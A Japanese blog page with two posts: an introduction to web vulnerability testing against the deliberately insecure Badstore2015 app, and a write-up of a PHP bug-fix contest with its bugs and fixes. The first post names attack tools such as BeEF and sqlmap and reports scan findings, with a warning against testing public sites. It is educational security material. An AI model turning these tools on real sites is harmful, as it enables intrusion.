セキュリティ上の問題を身近に感じてもらいたいと思いこの記事を書いている。この記事が多少なりとでも、セキュリティ意識の向上につながれば嬉しい。

当然だが、このブログは上記アプリケーションを検査するためだけのものであり、一般に公開されているサイトに対して行ってはならない。また、本ブログで紹介する方法で被害が生じたとしても本ブログは一切責任をもたないものとする。これらを了承できない場合、これ以上読み進めるのは避けていただきたい。

なお、全体的に説明不足であり、網羅性に欠けている。さらにWebのセキュリティについて詳しく知りたい方は「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践」(通称、徳丸本)をぜひ読んで欲しい。

また、IPAからも安全なウェブサイトの作り方という資料がある。www.ipa.go.jp

本文中に間違いがあればぜひ知らせて欲しい。可能な限り早く対応する。

ツール

今回の記事で利用する予定のツールを一覧で紹介しておく。
VirtualBoxにKali Linuxを入れれば以下のすべてのツールが使える。どれもOS Xで動くためKali Linuxを入れる必要はない。それぞれのツールの利用法を検索した際にホストOSとしてKali Linuxが利用されていることが多いため紹介だけしておく。

ここで紹介するツールは非常に多機能なものが多く、すべての機能を説明することは不可能である。興味がわいたら各自調べて欲しい。

Kali Linux

https://www.kali.org/
侵入テストに特化したディストリビューション。侵入テストに有名なツールはすべて入ってる。

OWASP ZAP

https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Web アプリケーションのスキャンツール。稼働しているサービスのURLを与えれば、勝手にスキャンしてくれる。スキャンといってもデフォルトの設定でも不正なパラメータを大量に送りつけるため注意すること。

BeEF

http://beefproject.com/
Browser Exploitation Framework のひとつ。XSSが成立した後にブラウザを攻撃していくためのframework。

sqlmap

http://sqlmap.org/
SQL Injectionを自動でスキャンから攻撃まで行ってくれる。これも、デフォルトの設定では不正なパラメータを大量に送りつけるため注意すること。

OWASP ZAP

OWASP ZAPでBadstore2015を調査する。自分のサービスを指定して"Attack"を押すと調査を始めてくれる。アプリケーションのページを巡回し、Formなどのパラメータで脆弱な箇所はないかを調べてくれる。問題を起こすようなパラメータを勝手に送りつけたりするため、注意が必要である。

Badstore2015に対して行った時の結果を以下に示す。

f:id:otameshi61:20150404151126p:plain

XSSが3件、SQL Injection が3件報告されており、それぞれ、どのページの、どのパラメータが攻撃可能かも知らせてくれる。その他の報告についてはここでは触れないが興味があれば見てみてほしい。

XSSSQL Injectionについて以下で見ていく。

  • XSS編
  • SQL Injection編(近日公開予定)
  • Passwordの保持の仕方について編(近日公開予定)

ADF 2015 Bugfix Backend

 リクルートホールディングス主催のADF 2015というイベントにスタッフとして参加してきた。その中で2日目のバグフィックス チャレンジというコンテンツを任された。

ADF 2015とは

 ADF2015とはリクルートホールディングスが、3/28~3/30で行った就活中の学生エンジニア向けの2泊3日のイベントである。全体で100名規模のイベントとなっていた。また、東京の学生にも品川プリンスホテルの個室が割り当てられるなど、とてもあれがかかっていたイベントである。

recruit-jinji.jp

 1日目から2日目はチーム対抗で様々な競技(ゲームプログラミングやショートコーディング)で稼いだポイントを競い、3日目はハッカソンをするという流れになっている。

 これらの入賞者には、それぞれ豪華商品が送られている。入賞者のブログなどぜひ見てみて欲しい。とてもあれがかかっている。

Bugfix Challenge とは

 バグフィックスは、その名の通りにバグの渡されたプログラムを修正することだ。バグフィックス チャレンジでは、バグの修正できる力を競う。ジャンルは、iOSAndroid、Web(Front)、Web(Backend)の4ジャンルを出題した。参加者は、これらのうちどれかを選択し解答することができる(複数選択可)。競技スタイルは個人戦とした。

 参加者へのルール説明は以下のGitHubレポジトリで行った。github.com

Backend の問題の環境

 私はBugfixのBackendの問題を作成した。github.com

 バックエンドのエンジニア向けのバグフィックスといっても、バックエンドで必要となる技術が多種多様で、共通して全員ができるものというのはなかなか無いと思う。今回は、参加者の中で触れたことの多そうな素のPHP(フレームワーク、テンプレートエンジン、ORMは使わない)とMySQLを利用した簡易ショッピングサイトを題材として扱うことにした。

作問について

 バックエンドの問題では「報告されているバグリスト」というものを参加者に提示し、これらで報告されているバグを修正してもらうことにした。バックエンドでのバグは期待する動作がされていないものとし、一部の書き換えだけでなく、修正のためにプログラムを追加することが必要な箇所もあった。

 バグは5題用意した。また、バグリスト以外にも多数の修正した方が良い箇所があり、これらの修正に関しても加点対象とした。PHP固有の問題(型にまつわる問題など)はあまり触れず、バックエンドのエンジニアならば原因の特定とフィックスができそうなバグを心掛けた。

対象のアプリケーションについて

f:id:otameshi61:20150404184743p:plain

 こんなサイトを対象とした。
 ちなみに、見た目がダサいはバグではない。

各問題について

 以下のようなバグレポートをあげた。

# Bug1

"新しい品物!"で何も選択をしない場合で,"商品を追加する"を押した時は,
同じページにリダイレクトさせたいのに,index.phpに遷移してしまう.

# Bug2

login後に、"メッセージを残す"で自動的に名前の入力が投稿に反映されない

# Bug3

商品をすべて購入後に"新しい品物!"にアクセスすると表示がおかしくなる

# Bug4

"メッセージを残す"で"いつもお世話になってます!>_<b(>_<) Good Job!! >_< "などと打つとが表示がおかしくなる

# Bug5

一度購入したものも、ログアウトしてカートに入れた後にログインすると、カートに入ったままで再度購入ができてしまう

解答と講評

 簡単にだが解答と講評を行う。

# Bug1

リダイレクト先がおかしいというバグ。リダイレクト先を指定のパスにすれば良い。
カートに何か入ってる場合は、/index.phpに入っていない場合は、/new_items.php?isNew=Nにリダイレクトするのが想定解であった。

多くの人ができていた。

# Bug2

disabled属性になっているinput要素のplaceholder属性にのみ属性値が設定されており値が送られていないというバグ。
想定解としては、disabled属性をreadonly属性にしvalue属性を追加させる方法であった。

# Bug3

while(true)でitemsがnullの時にループが停止しないというバグ。

想定解のひとつとして、breakへの条件である、

if ($counter == count($items)) { break; }

を

if ($counter >= count($items)) { break; }

を想定していた。

itemsがnullであったらbreakするという、新たにif文を追加している人が多かった。

# Bug4

HTML escapeがされていないためタグの表示がおかしくなるというバグ。

想定解としては、出力前にhtmlspecialcharsの関数でエスケープする方法だった。

解答はデータベースに入れる前にエスケープしているものが多かった。
HTML エスケープは単純に'<' を'& lt;'などの文字実体参照に変換するものであり、データベースで保持する際にはエスケープ前のものを保持することを想定していた。

# Bug5

ログイン前にカートへの追加が可能なため、以前に購入したものを再度カートへ入れることができ要件をみたしていないというバグ。

想定解は、"購入履歴"に対応するhistory.phpの中のSQL 文を流用して、カート内に過去に購入したものがあった場合には自動で取り除く方法を想定していた。

カートへの追加をログイン後にのみ可能にする、ログイン処理の直後にカートを初期化するといった解答が多かった。
一位の方は、購入したもののみカートから取り除くという処理いれており、想定解通りの解答になっていた。素晴らしい。

全体の講評

 Bug 5まである程度の修正を行えていた人は比較的多くいた。動作としては治っているが一時しのぎ的なもの、前後の流れをみて修正しているものなど解答も様々であった。
 環境構築から、全体動作の理解、バグ報告されているバグの修正の全部を3時間でやってもらうという課題であったが、参加者からの感想や提出されて解答をみる限りでは3時間でやるには時間がやや足りない程度のボリュームだったようだ。

 また、アプリケーションのルートディレクトリをwww/という記述をしたが、この設定ができなかったのか、リダイレクトなどのすべてのパスを絶対パスから相対パスに書き換えている解答が多くあった。

tipsだが、最近のPHPはサーバーも付属しているので、www/配下で

php -S localhost:5000

とすると、localhostに5000番ポートでカレントディレクトリをルートとしたPHPのサーバーが起動する。また、XAMPPなどでapacheを利用している場合、httpd.confのDocumentRootを指定することでアプリケーションのルートディレクトリを設定することができる。

感想

 フレームワークを利用しないPHPについては、久しぶりに触ったという人がほとんどであったと思う。また、MySQLにはついては触ったことがないという人もいた。
 直接話を聞く限りでは参加した人には楽しんでもらえたようで良かった。ただ、解答を提出してくれた半分程度の人には声をかけられたが、全員と話せなかったのが少し残念だった。ゆっくりと参加者同士で交流できる時間が欲しかった。
さて、2日目のLT会で話すはずだったが時間の都合上なくなった「Bug Fix Backendを攻撃してみた」についておまけで紹介する。興味があれば見てみてほしい。otameshi61.hatenablog.com